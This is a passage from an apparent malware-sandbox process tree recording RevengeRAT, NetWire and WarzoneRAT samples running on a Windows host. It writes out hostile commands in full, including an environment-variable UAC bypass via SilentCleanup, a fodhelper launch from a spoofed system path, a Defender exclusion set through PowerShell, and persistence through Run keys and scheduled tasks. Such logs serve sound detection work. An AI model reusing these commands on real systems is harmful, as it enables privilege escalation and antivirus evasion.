                                                                              C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3118.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc12129AE2F5444E9E85F21BFEC49AB235.TMP"
                                                                              7⤵
                                                                                PID:4372
                                                                            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                              "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\b80hnuku.cmdline"
                                                                              6⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:7808
                                                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3186.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc3809AE74343441E08540958F4F56A34F.TMP"
                                                                                7⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:8180
                                                                            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                              "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\nqt6tlkp.cmdline"
                                                                              6⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5580
                                                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES31F3.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcCC41E779E2F44143A7E49FAF1EF5A9D2.TMP"
                                                                                7⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:5512
                                                                            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                              "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\dky9s6t9.cmdline"
                                                                              6⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5724
                                                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3280.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcFC92CD43DDA94643B534AAB5434B13.TMP"
                                                                                7⤵
                                                                                  PID:7856
                                                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\ugssewj6.cmdline"
                                                                                6⤵
                                                                                  PID:6600
                                                                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                    C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES333B.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcAE1CF7B399D24CCC85C5C484B42BB9.TMP"
                                                                                    7⤵
                                                                                      PID:6000
                                                                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\rs6br8cc.cmdline"
                                                                                    6⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:6616
                                                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3435.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcE055687DAF1449C9BA8212D6B3BDDF4.TMP"
                                                                                      7⤵
                                                                                        PID:6272
                                                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\s5ilv6al.cmdline"
                                                                                      6⤵
                                                                                        PID:876
                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES34C2.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc46B39DEE71A54C4F9F8627E73434A14.TMP"
                                                                                          7⤵
                                                                                            PID:7496
                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\prut7slc.cmdline"
                                                                                          6⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:5568
                                                                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES352F.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcA90A0D551EB54F8F921264BB0A1EFAD.TMP"
                                                                                            7⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:1420
                                                                                • C:\Users\Admin\Downloads\RevengeRAT.exe
                                                                                  "C:\Users\Admin\Downloads\RevengeRAT.exe"
                                                                                  2⤵
                                                                                  • Executes dropped EXE
                                                                                  • Suspicious use of SetThreadContext
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2008
                                                                                  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                    3⤵
                                                                                    • Suspicious use of SetThreadContext
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:740
                                                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                      4⤵
                                                                                        PID:2512
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5868 /prefetch:1
                                                                                    2⤵
                                                                                      PID:5680
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3472 /prefetch:8
                                                                                      2⤵
                                                                                        PID:5792
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 /prefetch:8
                                                                                        2⤵
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        PID:6088
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6352 /prefetch:1
                                                                                        2⤵
                                                                                          PID:5348
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6460 /prefetch:8
                                                                                          2⤵
                                                                                            PID:5508
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6376 /prefetch:8
                                                                                            2⤵
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:5620
                                                                                          • C:\Users\Admin\Downloads\NetWire.exe
                                                                                            "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:5640
                                                                                            • C:\Users\Admin\Downloads\NetWire.exe
                                                                                              "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                              3⤵
                                                                                              • Executes dropped EXE
                                                                                              • Adds Run key to start application
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:5812
                                                                                              • C:\Windows\SysWOW64\Notepad.exe
                                                                                                C:\Windows\System32\Notepad.exe
                                                                                                4⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:6176
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Natso.bat" "
                                                                                                  5⤵
                                                                                                    PID:6128
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg delete hkcu\Environment /v windir /f
                                                                                                      6⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      • Modifies registry key
                                                                                                      PID:7984
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
                                                                                                      6⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      • Modifies registry key
                                                                                                      PID:6136
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
                                                                                                      6⤵
                                                                                                      • Abuse Elevation Control Mechanism: Bypass User Account Control
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:1708
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg delete hkcu\Environment /v windir /f
                                                                                                      6⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      • Modifies registry key
                                                                                                      PID:4716
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Runex.bat" "
                                                                                                    5⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3616
                                                                                                    • C:\Windows \System32\fodhelper.exe
                                                                                                      "C:\Windows \System32\fodhelper.exe"
                                                                                                      6⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Loads dropped DLL
                                                                                                      PID:7612
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Public\x.bat
                                                                                                        7⤵
                                                                                                          PID:7904
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            cmd /c C:\Users\Public\x.vbs
                                                                                                            8⤵
                                                                                                            • Checks computer location settings
                                                                                                            • Modifies registry class
                                                                                                            PID:5360
                                                                                                            • C:\Windows\System32\WScript.exe
                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Public\x.vbs"
                                                                                                              9⤵
                                                                                                              • Checks computer location settings
                                                                                                              PID:7220
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Public\cde.bat" "
                                                                                                                10⤵
                                                                                                                  PID:6780
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local
                                                                                                                    11⤵
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:7892
                                                                                                    • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                      4⤵
                                                                                                        PID:5624
                                                                                                  • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                    "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                    2⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:7148
                                                                                                    • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                      "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                      3⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:7088
                                                                                                  • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                    "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                    2⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:6576
                                                                                                    • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                      "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                      3⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Adds Run key to start application
                                                                                                      • Suspicious use of SetThreadContext
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:6732
                                                                                                      • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                        4⤵
                                                                                                          PID:808
                                                                                                    • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                      "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                      2⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:2272
                                                                                                      • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                        "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                        3⤵
                                                                                                        • Loads dropped DLL
                                                                                                        • Adds Run key to start application
                                                                                                        • Suspicious use of SetThreadContext
                                                                                                        PID:7688
                                                                                                        • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                          "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                          4⤵
                                                                                                            PID:6932
                                                                                                      • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                        "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                        2⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:3184
                                                                                                        • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                          "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                          3⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Adds Run key to start application
                                                                                                          PID:1560
                                                                                                          • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                            "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                            4⤵
                                                                                                              PID:4856
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6344 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:6328
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:1900
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1596 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:5312
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6748 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:7600
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5276 /prefetch:2
                                                                                                                  2⤵
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:7164
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1896 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:9500
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3384 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:6644
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,4454564893387921189,15397339589311196634,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 /prefetch:8
                                                                                                                      2⤵
                                                                                                                        PID:5732
                                                                                                                      • C:\Users\Admin\Downloads\WarzoneRAT.exe
                                                                                                                        "C:\Users\Admin\Downloads\WarzoneRAT.exe"
                                                                                                                        2⤵
                                                                                                                        • Checks computer location settings
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • NTFS ADS
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:9324
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jFvfxe" /XML "C:\Users\Admin\AppData\Local\Temp\tmp73CA.tmp"
                                                                                                                          3⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                          PID:8828
                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                          3⤵
                                                                                                                            PID:8648
                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                            3⤵
                                                                                                                              PID:8612
                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:4300
                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:2740
                                                                                                                            • C:\Windows\system32\AUDIODG.EXE
                                                                                                                              C:\Windows\system32\AUDIODG.EXE 0x33c 0x2f4
                                                                                                                              1⤵
                                                                                                                                PID:7280
                                                                                                                              • C:\Windows\System32\rundll32.exe
                                                                                                                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:6536
                                                                                                                                • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                                                  "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                                                  1⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:5536
                                                                                                                                  • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                                                    "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                                                    2⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Adds Run key to start application
                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                    PID:6644
                                                                                                                                    • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                                                      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                                                      3⤵
                                                                                                                                        PID:4548
                                                                                                                                  • C:\Windows\system32\taskmgr.exe
                                                                                                                                    "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                                    1⤵
                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                                    PID:6336
                                                                                                                                  • C:\Users\Admin\Downloads\RevengeRAT.exe
                                                                                                                                    "C:\Users\Admin\Downloads\RevengeRAT.exe"
                                                                                                                                    1⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:7108
                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                                                                      2⤵
                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:7316
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                                                                        3⤵
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:1744
                                                                                                                                  • C:\Users\Admin\Downloads\RevengeRAT.exe
                                                                                                                                    "C:\Users\Admin\Downloads\RevengeRAT.exe"
                                                                                                                                    1⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:6580
                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                                                                      2⤵
                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:8184
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                                                                        3⤵
                                                                                                                                          PID:7552
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe
                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
                                                                                                                                      1⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:3264
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                                                                        2⤵
                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:6664
                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                                                                          3⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:6148
                                                                                                                                    • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                                                      "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                                                      1⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:6968
                                                                                                                                      • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                                                        "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                                                        2⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Adds Run key to start application
                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:8024
                                                                                                                                        • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                                                          "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                                                          3⤵
                                                                                                                                            PID:4496
                                                                                                                                      • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                                                        "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:9888
                                                                                                                                        • C:\Users\Admin\Downloads\NetWire.exe
                                                                                                                                          "C:\Users\Admin\Downloads\NetWire.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Adds Run key to start application
                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                          PID:9928
                                                                                                                                          • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                                                            "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                                                            3⤵
                                                                                                                                              PID:8444
                                                                                                                                        • C:\Users\Admin\Downloads\WarzoneRAT.exe
                                                                                                                                          "C:\Users\Admin\Downloads\WarzoneRAT.exe"
                                                                                                                                          1⤵
                                                                                                                                          • Checks computer location settings
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:5984
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jFvfxe" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8BE6.tmp"
                                                                                                                                            2⤵
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:3340
                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                            2⤵
                                                                                                                                              PID:6184
                                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
